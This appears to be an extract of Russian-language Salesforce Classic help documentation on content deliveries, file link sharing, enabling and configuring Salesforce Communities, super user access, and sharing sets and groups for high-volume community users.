Чтобыотменитьдоступк ссылке, щелкните рядомснужнойссылкойвдиалоговомокне «Параметрыобщегодоступа».
В этом случае ссылка не сможет использоваться для доступа к файлу.

Прим.:

• Документы, доступные на вкладке «Документы», и вложения из связанного списка «Примечания и вложения» не
отображаютсянаначальнойстранице «Файлы» инедоступныдлясовместногоиспользованиявкачестве Salesforce
Files.

• Файл может быть опубликован не более 100 раз. Данное ограничение распространяется на файлы, доступ к
которым предоставлен людям, группам и по ссылке. Файл, доступный в частном порядке и опубликованный
почти 100 раз, желательно опубликовать в ленту для общего доступа.

СМ. ТАКЖЕ:

Создание доставок содержимого
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Доставки содержимого

Создание доставок содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce
CRM Content доступно в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания доставок
содержимого в
общедоступных
библиотеках Salesforce CRM
Content:
• Участник библиотеки

И

Флажок «Доставить
содержимое»,
установленный в
определении
полномочий
библиотеки

Для создания доставок
содержимого в личных
библиотеках Salesforce CRM
Content:
• Флажок «Доставить

загруженные файлы и
личное содержимое»,
установленный в
определении общих
полномочий

Для создания доставок
содержимого (если не
используется приложение
Salesforce CRM Content):
• Флажок «Доставить

загруженные файлы и
личное содержимое»,
установленный в
определении общих
полномочий

Доставка содержимогопозволяетбыстропреобразовыватьдокументы (например, Microsoft®

PowerPoint и Word) в специальные интерактивные версии, удобные для просмотра в
режимереальноговремени. Каждойсозданнойдоставкеприсваивается зашифрованный
URL-адрес, который может быть отправлен любому получателю (например, интересам,
клиентам, партнерам или коллегам) и позволяет отслеживать количество просмотров
или загрузок содержимого. Доступно только в Salesforce Classic. Lightning Email создает
ссылки на основе доставок в виде вложений эл. почты для пользователей Lightning
Experience, имеющих доступ к функции доставки содержимого.

Доставки содержимого создаются с помощью связанного списка «Доставки
содержимого», доступногодлябольшинстваобъектов Salesforce. Пользователи Salesforce
CRM Content могут также создавать доставки содержимого на странице сведений о
содержимом или в связанном списке «Связанное содержимое».

Чтобы создать доставку содержимого, выполните указанные ниже действия.

1. Нажмите кнопку «Доставить содержимое» в связанном списке «Доставки
содержимого», всвязанномсписке «Связанноесодержимое» илинастраницесведений
о содержимом.

2. Загрузите файл или подтвердите имя файла. Пользователи Salesforce CRM Content
могут выполнять поиск нужного содержимого в собственных библиотеках.
Пользователи Salesforce CRM Content могут выполнять поиск содержимого в
общедоступных или личных библиотеках.

3. При необходимости измените значение поля «Имя доставки». Данное имя
используется для идентификации доставки содержимого в системе Salesforce.
Настоятельно рекомендуем использовать уникальные имена. По умолчанию имя
доставки содержит имя файла и текущую дату.

4. Выберитенужныеспособыдоставки. Доступныевариантыопределяютсяформатом
загруженного файла.

• Чтобы создать интерактивную версиюфайла, доступную для просмотра в
обозревателе, установите флажок «Разрешить получателю просмотр в
обозревателе».

• Чтобы разрешить получателю просмотр содержимого в исходномформате,
установите флажок «Разрешить получателю загрузку как [тип_файла]».
Например, при загрузке файла Microsoft® Word данное поле отображается
следующим образом: «Разрешить загрузку как .doc».

Прим.: При отсутствии предварительного просмотра файла в системе
Salesforce пользователи могут загружать доставленныйфайл, независимо
от наличия возможности загрузки. Предварительные просмотрыфайла
выполняются при их первом запросе в системе Salesforce, но не раньше.
Предварительныепросмотрыфайлагенерируютсяприпросмотрестраницы
сведений о файле или публикациифайла в ленту.

• Чтобыразрешитьполучателям загрузку PDF-версиифайла, установитефлажок «Разрешить получателю загрузку
как PDF». Данный параметр доступен только для файлов Microsoft® PowerPoint, Word и Excel.

5. Чтобы получить электронное уведомление о первом выборе URL-адреса доставки содержимого, установите флажок
«Сообщить мне о первом просмотре или загрузке».
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6. Чтобы ограничить время доступа к содержимому доставки, установите флажок «Дата истечения права доступа к
содержимому» и введите нужную дату. По умолчанию срок доступа истекает через 90 дней от текущей даты. Дата
истечения срока действия созданной доставки содержимого может быть изменена на странице сведений о доставке.

7. Принеобходимостиустановитефлажок «Требовать пароль для доступа к содержимому». Пароль, предоставленный
пользователю при создании доставки содержимого, должен быть отправлен получателям наряду с URL-адресом
доставки. Пароль отображается на странице сведений о доставке в течение всего срока ее действия.

8. Чтобысвязатьдоставкусодержимогос записьюSalesforce, воспользуйтесьфункциейпоиска. Поумолчаниювыбирается
запись, которая просматривалась при нажатии кнопки «Доставить содержимое».

9. Нажмите кнопку «Сохранить и перейти далее». Обычно доставка содержимого создается за считанные секунды.
При необходимости нажмите кнопку «Сообщить мне», чтобы закрыть мастер создания доставок содержимого и
получить электронное уведомление о создании доставки.

10. Чтобы просмотреть созданную доставку, щелкните ссылку «Предварительный просмотр» в мастере создания
доставок содержимого.

Важное замечание: Форматирование исходного файла может некорректно отображаться в интерактивной
версии. Еслиустановленфлажок «Разрешить получателю просмотр в обозревателе», тодоставка содержимого
должна быть просмотрена до отправки получателям ее URL-адреса. Если интерактивная версия отображается
некорректно, щелкните ссылку «Назад» и выберите отображение содержимого только в исходномформате
или в формате PDF.

11. Скопируйте и вставьте URL-адрес доставки и пароль (при его наличии) в сообщение эл. почты или мгновенное
сообщение. URL-адрес доступен на странице сведений о доставке. Дополнительную информацию см. в разделе
«Просмотр и редактирование доставок содержимого».

СМ. ТАКЖЕ:

Предоставление общего доступа к файлам по ссылке
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Просмотр и редактирование доставок содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce
CRM Content доступно в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
сведений о доставке:
• Доступ к связанной

странице сведений о
содержимом в Salesforce
CRM Content

ИЛИ

Доступ к записи,
связанной с доставкой
содержимого

Для редактирования, отмены
или удаления доставки
содержимого:
• Ответственный за

запись

ИЛИ

«Изменение всех
данных»

Чтобы открыть страницу сведений, щелкните имя нужной доставки содержимого в
связанном списке «Доставки содержимого» или на странице со списком доставок
содержимого.

Просмотр сведений о доставке содержимого
Страница сведений о доставке содержит всю информацию, связанную с доставкой
содержимого, включая количество просмотров и параметры доставки. URL-адрес,
предоставляющийдоступкдоставкесодержимого, отображаетсятолькоприналичии
доступаксодержимомуилисвязаннойзаписи, либоприназначенииответственности
за доставку содержимого. Описание каждого поля см. в разделе «Поля доставки
содержимого».

Редактирование сведений о доставке содержимого
Чтобыотменитьдоступкдоставке содержимого, щелкните«Срокистекаетсейчас».
Чтобы изменить сведения о доставке (например, способы доставки, дата истечения
срокадействияилисвязанныезаписи), нажмитекнопку«Правка». Описаниекаждого
поля см. в разделе «Поля доставки содержимого».

Удаление доставок содержимого
Чтобыотменитьдоступкдоставкесодержимогоиудалитьзаписьдоставкиизсистемы
Salesforce, нажмите кнопку «Удалить». Файлы, связанные с доставкой содержимого,
могут быть удалены только после удаления самой доставки содержимого.

Отслеживание доставок содержимого
Каждыйпереходпо URL-адресу доставкирегистрируется системой Salesforce какодин
просмотр. Все просмотры, связанные с доставкой, отображаются в связанном списке
«Просмотры» на странице сведенийо доставке содержимого. Сведенияопросмотре
содержат следующие данные: дата и время просмотра, выполнен ли просмотр
внутренним пользователем Salesforce и выполнена ли загрузка. Если доставка
содержимогоподдерживаетвозможность загрузкифайловвисходномформатеили
формате PDF, тофлажок «Файл загружен» свидетельствует о выполнении загрузки,
однако тип файла не подлежит определению.

СМ. ТАКЖЕ:

Создание и изменение пакетов содержимого в Salesforce CRM Content
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Использование связанного списка «Доставки содержимого»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания доставки
содержимого:
• Нет

Для редактирования
доставки содержимого:
• Ответственный за

запись

ИЛИ

«Изменение всех
данных»

Доставка содержимогопозволяетбыстропреобразовыватьдокументы (например, Microsoft®

PowerPoint и Word) в специальные интерактивные версии, удобные для просмотра в
режимереальноговремени. Каждойсозданнойдоставкеприсваивается зашифрованный
URL-адрес, который может быть отправлен любому получателю (например, интересам,
клиентам, партнерам или коллегам) и позволяет отслеживать количество просмотров
или загрузок содержимого. Доступно только в Salesforce Classic. Lightning Email создает
ссылки на основе доставок в виде вложений эл. почты для пользователей Lightning
Experience, имеющих доступ к функции доставки содержимого.

Ниже перечислены действия, доступные в связанном списке «Доставки содержимого»
интересов, организаций-компаний, контактов, возможностей, обращений, кампаний и
настраиваемых объектов.

• Чтобы создать доставку содержимого и связать ее с просматриваемой записью,
нажмите кнопку «Доставить содержимое». Дополнительную информацию см. в
разделе «Создание доставок содержимого».

• Чтобы открыть доставку содержимого, щелкните ссылку «Предварительный
просмотр». Каждый просмотр доставки содержимого регистрируется в связанном
списке «Просмотры» как один внутренний просмотр.

• Чтобы открыть страницу сведений о доставке содержимого, щелкните имя нужной
доставки. Дополнительнуюинформациюсм. вразделе «Просмотриредактирование
доставок содержимого».
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Настройка и управление сообществами Salesforce

Общие сведения о сообществах Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сообщества — это фирменные области, предназначенные для взаимодействия
сотрудников, клиентов и партнеров. Система поддерживает создание и настройку
сообществ в соответствии с текущими бизнес-требованиями, а также возможность
беспрепятственного перехода.

Сообщества — это эффективный способ обмена информацией и сотрудничества с
важными внешними пользователями (например, клиенты или партнеры).

Ниже перечислены преимущества сообществ.

• Увеличение объемов продаж путем взаимодействия сотрудников с
распространителями, посредниками и поставщиками

• Повышение уровня обслуживания путем предоставления клиентам доступа к
сообществу ответов

• Централизованное управление мониторингом социальных сетей, содержимым, занятостью и бизнес-процессами

Принеобходимостисоздайтеразныесообществавнутриорганизации. Например, чтобысократитьрасходынаподдержку,
создайте сообщество по поддержке клиентов; чтобы увеличить количество сделок, закрываемых партнерами, создайте
сообщество по поддержке продаж через партнеров; или создайте сообщество, посвященное предстоящему событию.

Основу сообществмогут составлять стандартныефункцииивкладки Salesforce илиодинизпредварительнонастроенных
шаблонов. Сообществамогутподдерживатьфункциииданные, доступныево внутреннейорганизации Salesforce, а также
могутбытьнастроенывсоответствиисфирменнымстилемкомпании. Принеобходимостивыберитеучастниковкомпании,
а также клиентов, партнеров и других внешних пользователей, которым должно быть доступно сообщество.

Сообщества располагаются внутри организации и доступны посредством раскрывающегося меню в верхнем левом углу
системы Salesforce или в мобильном веб-приложении Salesforce1. Данное меню позволяет переключаться между
сообществами и внутренней организацией Salesforce.

СМ. ТАКЖЕ:

Предварительное планирование

Включение Сообществ Salesforce

Создание сообществ

Управление сообществом

Планирование внедрения

Предварительное планирование
Заранее принятые ключевые решения позволяют упростить процесс настройки сообщества.
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• Определитебизнес-требования сообщества. Ктобудетиспользовать создаваемое сообщество? Начнитеработупутем
определения основных сценариев использования (например, служба поддержки, самообслуживание илимаркетинг).

• Оцените размер сообщества. Выполненная оценка поможет определить условия лицензирования.

• Определите необходимость предоставления общего доступа к содержимому сообщества пользователям-гостям без
лицензий.

• Продумайте внешний вид сообщества и оцените доступные параметры настройки. Ниже перечислены варианты,
доступные при использовании сообществ.

– Использование Visualforce для настройки стандартных вкладок сообщества. Сообщества поддерживают
некоторыестандартныетемыфирменногостиля, которыемогутиспользоватьсянарядусостандартнымивкладками
Salesforce в сообществе. Кроме того, Visualforceможет использоваться для расширеннойнастройки внешнего вида
сообщества и реализации всех возможностей платформы Force.com. Данный вариант требует наличия навыков
программирования.

– Использованиеконструкторасообществсшаблонами. Конструкторсообществподдерживаетобогащенные
стилизованныешаблоны для сообществ, ориентированные на сценарии службы поддержки. Шаблоны
обеспечивают легкость настройки посредством интуитивно понятного графического пользовательского
интерфейса и поддерживают быстрое развертывание сообщества с минимальной конфигурацией в Site.com. Эта
функция не требует опыта программирования или знания платформы Force.com. Требуется помощь в выборе
шаблона? См. сравнение шаблонов.

Дополнительную информацию см. в разделе «Выбор между конструктором сообществ и Force.com Sites».

• Определите вероятность влияния ограничений для сообществ на используемое внедрение.
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Настройка и обслуживание сообщества

Включение Сообществ Salesforce

ВЕРСИИ

Сообщества Salesforce
доступны в версиях:
Salesforce Classic

Настройка сообществ
Salesforce доступна в
версиях: Salesforce Classic
и Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения сообществ:
• «Настройка

приложения»

Для создания сообществ нужно прежде всего включить Сообщества Salesforce.

Включение сообществ инициирует включение новой темы пользовательского
интерфейса Salesforce Classic 2010, обновляющей внешний вид системы Salesforce.

Прим.: Включение сообществ является необратимым.

Временнаяблокировкадоступаорганизацииксообществамзанеуплатуинициирует
деактивациювсех сообществ, включая сообщества со статусом «Предварительный
просмотр». Повторное включение сообществ инициирует назначение статуса
«Неактивно» всем сообществам. Данные сообщества могут быть активированы,
но не могут быть восстановлены со статусом «Предварительный просмотр».

1. Введитестроку «Параметры сообществ» вполе «Быстрый поиск» вменю «Настройка»
и выберите «Параметры сообществ».

Прим.: Если это меню не отображается, сообщества могут быть не
активированы для вашей организации. Обратитесь к менеджеру Salesforce по
работе с клиентами.

2. Установите флажок «Включить сообщества».

3. Выберите нужное имя домена и нажмите кнопку «Проверить доступность».

Рекомендуем использовать имя, узнаваемое пользователями (например, название
компании). Все сообщества используютодноимя домена, но каждому создаваемому
сообществу назначается уникальный URL-адрес. Например, клиентское сообщество,
созданное в домене UniversalTelco.force.com, может обозначаться
следующим URL-адресом: UniversalTelco.force.com/customers.

Важное замечание: Помните, что сохраненное имя домена не может быть изменено.

Чтобы выбрать абсолютнонастраиваемый домен, введите нужное имя на странице «Управление доменами». Введите
строку «Домены» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Домены».

4. Нажмите кнопку «Сохранить».

Теперь можете создать сообщества.

Созданиеинастройка сообществ доступнытолькоприналичииполномочия «Созданиеинастройка сообществ». Кроме
того, данноеполномочиепредоставляетпользователямвозможностьуправлениясайтомSite.com, связаннымссообществом.

Послевключениясообществрекомендуемназначитьполномочие «Просмотробщеговерхнегоколонтитула» внутренним
пользователям, которым требуется доступ к сообществу. Общий верхний колонтитул позволяет пользователям быстро
переключаться между внутренней организацией и любыми сообществами со своим участием. При использовании
Lightning Experience организациейпользователи с соответствующимполномочиеммогут переключатьсямежду Salesforce
Classic и новым интерфейсом с помощьюфункции Switcher. Ссылку «Перейти к Lightning Experience» см. в
меню «Имя пользователя». Сообщества не поддерживаются в Lightning Experience, поэтому для работы с сообществами
(создание, управление, доступ) из общего верхнего колонтитула необходимо переключиться обратно в Salesforce Classic.
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Он также отображается в дополнительном меню «Управление сообществом» для администраторов и менеджеров
сообщества, котороеонимогутиспользоватьдляпереключениямеждуменю «Управлениесообществом», конструктором
сообществ, Force.com и Site.com Studio.

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Могут ли мои сайты Force.com и мои сообщества использовать одинаковое имя домена?

Кому и какие данные доступны в сообществах?
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Обновление единых параметров сообщества

Настройка стандартного количества ролей сообщества

ВЕРСИИ

Salesforce Communities
available in: Salesforce
Classic

Salesforce Communities
Setup available in:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки количества
стандартных ролей:
• «Настройка

приложения»

Настройте стандартное количество ролей, создаваемых при добавлении
организаций-партнеров или организаций-клиентов в сообщества.

Данные параметры применяются только к сообществам, поддерживающим лицензию
Partner Community или Customer Community Plus. Благодаря настройке количества ролей,
организацияможетограничитьколичествонеиспользуемыхролей. Организациимогут
использовать не более трех ролей; по умолчанию доступна только одна роль.

Например, организации, поддерживающей сообщество, назначено три роли партнера
(«Руководитель», «Менеджер» и «Пользователь»); принеобходимостиколичестворолей
может быть сокращено до одной (только роль «Пользователь» для новых организаций).
В целях повышения производительности рекомендуем задать значение «1». Чтобы
предоставить конкретным пользователям доступ к данным, принадлежащим другим
пользователям организации, рекомендуем использовать доступ суперпользователя.

Чтобы настроить количество ролей, выполните указанные ниже действия.

1. Введитестроку «Параметры сообществ» вполе «Быстрый поиск» вменю «Настройка»
и выберите «Параметры сообществ».

2. Выберите количество ролей на организацию.

a. При использовании лицензий Partner Community заполните поле «Количество
ролей партнера».

b. При использовании лицензий Customer Community Plus заполните поле
«Количество ролей клиента».

3. Нажмите кнопку «Сохранить».

Данный параметр не влияет на количество ролей для текущих организаций.

СМ. ТАКЖЕ:

Ограничения для ролей портала

Создание пользователей сообществ

3424

Обновление единых параметров сообществаНастройка и управление сообществами Salesforce



Включение доступа суперпользователя в сообществах

ВЕРСИИ

Сообщества Salesforce
доступны в версиях:
Salesforce Classic

Настройка сообществ
Salesforce доступна в
версиях: Salesforce Classic
и Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения доступа
суперпользователя:
• «Настройка

приложения»

Чтобы предоставить пользователям-партнерам доступ к дополнительным записям и
данным, рекомендуем включить доступ суперпользователя в сообществах.

Данный параметр применяется только к сообществам, поддерживающим лицензию
Partner Community. При необходимости предоставьте доступ суперпользователя
пользователям с лицензиями Customer Community Plus. Дополнительную информацию
см. в разделе «Предоставление доступа суперпользователя пользователям-клиентам
сообщества» на странице 3436.

Внешниепользователисообщества, которымпредоставляетсядоступсуперпользователя,
могутпросматриватьдополнительныеданныеи записи, независимоот заданныхправил
общего доступа и единых стандартных параметров. Суперпользователи могут
просматривать данные, принадлежащие другим пользователям-партнерам той же
организации, которым назначается такая же или нижестоящая роль в иерархии ролей.
Доступсуперпользователяприменяетсятолькокобращениям, интересам, настраиваемым
объектам и возможностям. Данные объекты доступны внешним пользователям только
путем настройки профилей или правил общего доступа и добавления вкладок в
сообщество.

1. Введитестроку «Параметры сообществ» вполе «Быстрый поиск» вменю «Настройка»
и выберите «Параметры сообществ».

2. Установите флажок «Включить доступ суперпользователя-партнера».

3. Нажмите кнопку «Сохранить».

Теперь можете назначить доступ суперпользователя.

Чтобы отключить доступ суперпользователя, снимите флажок «Включить доступ
суперпользователя-партнера». Повторное включение данной функции инициирует
автоматическоепредоставлениедоступа суперпользователявсемпользователям, являвшимсясуперпользователямиранее.

СМ. ТАКЖЕ:

Создание пользователей сообществ
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Включение параметров отчета для внешних пользователей

ВЕРСИИ

Salesforce Communities
available in: Salesforce
Classic

Salesforce Communities
Setup available in:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения параметров
отчета для внешних
пользователей:
• «Настройка

приложения»

Разрешите внешним пользователям с лицензией Partner Community или Customer
Community Plus и полномочием «Запуск отчетов» просмотр и изменение параметров,
предназначенных для резюмирования и фильтрации отчетов.

1. Введитестроку «Параметры сообществ» вполе «Быстрый поиск» вменю «Настройка»
и выберите «Параметры сообществ».

2. Установите флажок «Включить параметры отчета для внешних пользователей».

3. Нажмите кнопку «Сохранить».

Теперь внешние пользователи с лицензией Partner Community или Customer Community
Plus иполномочием «Запускотчетов» могутпросматриватьпараметрыотчетанастранице
запуска отчета.

СМ. ТАКЖЕ:

Страница запуска отчета

Общие сведения о наборе для общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобыпредоставитьпользователямпорталаилисообществадоступкзаписям, связанным
с их организациями или контактами, на основе профилей, воспользуйтесь наборами
для общего доступа.

Раньше набор для общего доступа предоставлял доступ к любой записи, содержащей
поле поиска организации или контакта, соответствующего организации или контакту
пользователя. Крометого, выпуск Spring'14 позволяетопределять способпредоставления
доступапутемсоотнесениядоступа внаборедляобщегодоступа, которыйподдерживает
непрямые поиски организации или контакта из записи пользователя и целевой записи.
Системапозволяетопределятьобъекты, которыедолжныиспользоваться в соотнесении
доступа; оба объекта должны указывать на организацию или контакт.
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Например, чтобы выполнить перечисленные ниже действия, воспользуйтесь набором для общего доступа.

• Предоставьте пользователям доступ ко всем обращениям, связанным с их организациями или контактами.

• Предоставьте пользователям доступ ко всем обращениям, связанным с родительской организацией или контактом,
который отображается в организации или контакте пользователя.

Наборы для общего доступа позволяют предоставлять доступ к организациям, контактам, обращениям, сервисным
контрактам, пользователям и настраиваемымобъектам. Ниже перечисленыпрофили, поддерживающиеиспользование
наборов для общего доступа.

• Проверенный веб-узел

• Пользователь клиентского сообщества

• Пользователь входа клиентского сообщества

• Массовый клиентский портал

• Массовый портал

• Пользователь проверенного веб-узла (избыток)

• Пользователь массового клиентского портала (избыток)

Пример ниже позволяет просмотреть соотнесение доступа в наборе для общего доступа, который предоставляет
пользователям портала или сообщества доступ ко всем обращениям, связанным с правами их организаций, несмотря на
возможное отсутствие их прямой связи с обращением.

Пример: 

1. Поиск организации для пользователя портала или сообщества

2. Связанная организация для права

3. Поиск права для обращения
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Прим.: Пользователипорталаилисообществаполучаютдоступковсемправамипозициямзаказа, связанным
с доступной организацией. Чтобы предоставить общий доступ к записям, принадлежащим пользователям
массового портала, рекомендуем воспользоваться группой общего доступа.

СМ. ТАКЖЕ:

Предоставление пользователям массового портала доступа к записям

Предоставление пользователям массового портала или сообщества доступа к записям пользователей

Общие сведения о пользователях массового сообщества

Предоставление пользователям массового сообщества доступа к записям

Предоставление общего доступа к записям, принадлежащим пользователям массового сообщества

Общие сведения о пользователях массового сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователимассового сообщества — это пользователи сообщества с ограниченным
доступом, предназначенного для организаций с большим количеством пользователей
(от нескольких тысяч до нескольких миллионов).

В отличие от пользователей других сообществ, пользователи массового сообщества не
имеют ролей, что позволяет избежать ошибок, связанных с вычислениями иерархии
ролей. К пользователям массового сообщества относятся типы лицензий Customer
Community, «Массовый клиентский портал» и «Проверенный веб-узел».

Отличительные особенности

Пользователи массового сообщества:

• Являются контактами, имеющими доступ к сообществу.

• Назначены лицензии Customer Community, «Массовый клиентский портал» или «Проверенный веб-узел».

• Обмениваются собственными записями с пользователями Salesforce только посредством групп общего доступа.

Доступ к записям

Ниже перечислены условия, при выполнении которых пользователям массового сообщества предоставляется доступ к
записям.

• Пользователи могут обновлять организацию, которой они принадлежат.

• Пользователи несут ответственность за записи.

• Пользователи могут просматривать родительскую запись, а единым параметрам общего доступа к дочерней записи
задано значение «Контролируется родительским объектом».

• Единым параметрам общего доступа для объекта задано значение «Общедоступный: только для чтения» или
«Общедоступный: для чтения и записи».

Администраторымогут создаватьнаборыдляобщегодоступа, чтобыпредоставлятьпользователяммассовогосообщества
дополнительныйдоступк записям (см. раздел «Предоставлениепользователяммассового сообществадоступа к записям»).

Ограничения

• Пользователимассовогосообществанемогут вручнуюпредоставлятьдоступк собственнымилидоступнымзаписям.
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• Обращения, принадлежащие пользователям, которым недоступно массовое сообщество, не могут быть переданы
пользователям массового сообщества.

• Пользователи массового сообщества не могут нести ответственность за организации.

• Группы, работающиесобращениями, немогутбытьдобавленывобращения, принадлежащиепользователяммассового
сообщества.

• Пользователи массового сообщества не могут быть включены в:

– Персональные или общедоступные группы.

– Правила общего доступа.

– Группы, работающие с организациями, группы, работающие с возможностями, или группы, работающие с
обращениями.

– Библиотеки Salesforce CRM Content.

Данные ограничения также применяются к записям, принадлежащим пользователям массового сообщества.

• Пользователи массового сообщества не могут быть назначены территориям.

СМ. ТАКЖЕ:

Предоставление общего доступа к записям, принадлежащим пользователям массового сообщества

Предоставление пользователям массового сообщества доступа к записям

ВЕРСИИ

Salesforce Communities
available in: Salesforce
Classic

Salesforce Communities
Setup available in:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
пользователям массового
сообщества доступа к
записям:
• «Настройка

приложения»

Чтобы предоставить пользователям массового сообщества доступ к записям,
воспользуйтесь наборами для общего доступа.

Набор для общего доступа предоставляет массовым пользователям доступ к любой
записи, связанной с организацией или контактом, который соответствует организации
или контакту пользователя. Кроме того, система позволяет предоставлять доступ к
записямпутемсоотнесениядоступавнаборедляобщегодоступа, которыйподдерживает
непрямые поиски организации или контакта из записи пользователя и целевой записи.
Например, пользователям может быть предоставлен доступ ко всем обращениям,
связанным с другой организацией, которая отображается в контактах пользователей.

Наборыдляобщегодоступаприменяютсяковсемсообществамс участиемпользователя
массовогосообщества. Пользователяммассовогосообществапредоставляетсялицензия
Customer Community или «Пользователь массового портала». Дополнительную
информацию см. в разделе «Общие сведения о наборе для общего доступа»
интерактивной справки Salesforce.

Чтобы предоставить доступ к выбранным пользователям того же сообщества при
отсутствиифлажка «Доступность пользователя сообщества» на странице «Параметры
общего доступа», рекомендуем создать набор для общего доступа.

1. Введитестроку «Параметры сообществ» вполе «Быстрый поиск» вменю «Настройка»
и выберите «Параметры сообществ».

2. Чтобы создать набор, нажмите кнопку «Создать» в связанном списке «Наборы для
общего доступа». Чтобы изменить текущий набор, щелкните ссылку «Правка»
напротив нужного набора.

3. Заполните поля «Метка» и «Имя набора для общего доступа» на странице
«Редактирование набора для общего доступа». «Метка» — это метка набора для
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общегодоступа, отображаемаявпользовательскоминтерфейсе. «Имянаборадляобщегодоступа» — этоуникальное
имя, используемое интерфейсом API.

4. Введите описание.

5. Выберите профили нужных пользователей.

6. Выберите нужные объекты.

Ниже перечислены объекты, отсутствующие в списке «Доступные объекты».

• Объекты, единому параметру общего доступа которых задано значение «Общедоступный: для чтения и записи»

• Настраиваемые объекты, которые не содержат поле поиска организации или контакта

7. Чтобы настроить доступ для выбранных профилей, щелкните ссылку «Настроить» или «Правка» напротив имени
нужногообъекта вразделе «Настроитьдоступ». Чтобыудалитьпараметрыдоступа кобъекту, щелкните ссылку «Удал.».

Прим.: Объекты, для которых в столбце «Действие» отображается ссылка «Настроить», недоступнымассовым
пользователям. Массовымпользователямпредоставляетсяполныйдоступтолькокзаписямнастроенногообъекта.

8. Предоставьте доступ на основе поиска организации или контакта.

• Чтобы определить поиск организации или контакта для объекта «Пользователь», выберите нужное значение в
раскрывающемся списке «Пользователь».

• Чтобы определить поиск организации или контакта для целевого объекта, выберите нужное значение в поле
«Целевой объект».

Например, чтобы предоставить доступ ко всем обращениям, связанным с организацией, которая отображается в
контакте пользователя, выберите поля Contact.Account и Account соответственно.

Прим.: Оба выбранных поля должны указывать на организацию или контакт. Например, поля
Contact.Account и Entitlement.Account указывают на организацию.

9. Выберите уровень доступа «Толькодлячтения» или «Длячтенияи записи». (Если единомупараметруобщего доступа
кобъекту задано значение «Общедоступный: толькодлячтения», тоотображается только уровеньдоступа «Длячтения
и записи».)

10. Нажмите кнопки «Обновить» и «Сохранить».

После создания набора для общего доступа рекомендуем создать группы общего доступа для предоставления другим
пользователям доступа к записям, созданным пользователями массового сообщества.

СМ. ТАКЖЕ:

Общие сведения о пользователях массового сообщества
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Предоставление общего доступа к записям, принадлежащим пользователям массового сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления другим
пользователям общего
доступа к записям,
принадлежащим
пользователям массового
сообщества:
• «Настройка

приложения»

Группыобщегодоступапозволяютпредоставлятьвнутреннимивнешнимпользователям
сообществ общий доступ к записям, принадлежащим пользователям массового
сообщества.

Массовые пользователи — это пользователи сообщества с ограниченным доступом,
предназначенного для организаций с большим количеством внешних пользователей
(от нескольких тысяч до нескольких миллионов). В отличие от других внешних
пользователей, массовыепользователинеимеютролей, чтопозволяетизбежатьошибок,
связанных с вычислениями иерархии ролей. В отличие от пользователей Salesforce,
пользователимассового сообществаотсутствуютвиерархииролей, поэтому группаобщего
доступа позволяет выбирать других внешних пользователей Salesforce, которым должны
быть доступны записи, принадлежащие пользователям массового сообщества.

Группы общего доступа применяются ко всем сообществам.

Чтобы настроить группы общего доступа для сообществ, выполните указанные ниже
действия.

1. Введитестроку «Параметры сообществ» вполе «Быстрый поиск» вменю «Настройка»
и выберите «Параметры сообществ».

2. Щелкните ссылку «Правка» напротив текущего набора для общего доступа в
связанном списке «Параметры общего доступа для пользователей массового
сообщества».

3. Откройте вкладку «Параметры группы общего доступа».

4. Чтобы включить группу общего доступа, щелкните «Активировать».

Активация группы общего доступа может занять некоторое время. Уведомление о завершении будет отправлено
пользователю по эл. почте.

Прим.: Деактивация группыобщегодоступаинициируетудалениедоступа всехдругихпользователейк записям,
принадлежащим пользователям массового сообщества. Уведомление о завершении не будет отправлено
пользователю по эл. почте.

5. Чтобы добавить пользователей в группу общего доступа, щелкните «Правка». Разрешается добавлять внутренних
пользователей и внешних пользователей той же родительской организации.

a. Выберите нужный тип участника в раскрывающемся списке «Поиск».

b. Чтобы найти нужного участника, введите ключевые слова в поле поиска и нажмите кнопку «Найти».

c. Чтобы добавить участников в группу, выберите нужных участников в столбце «Доступные участники» и нажмите
кнопку «Добавить».

d. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о пользователях массового сообщества

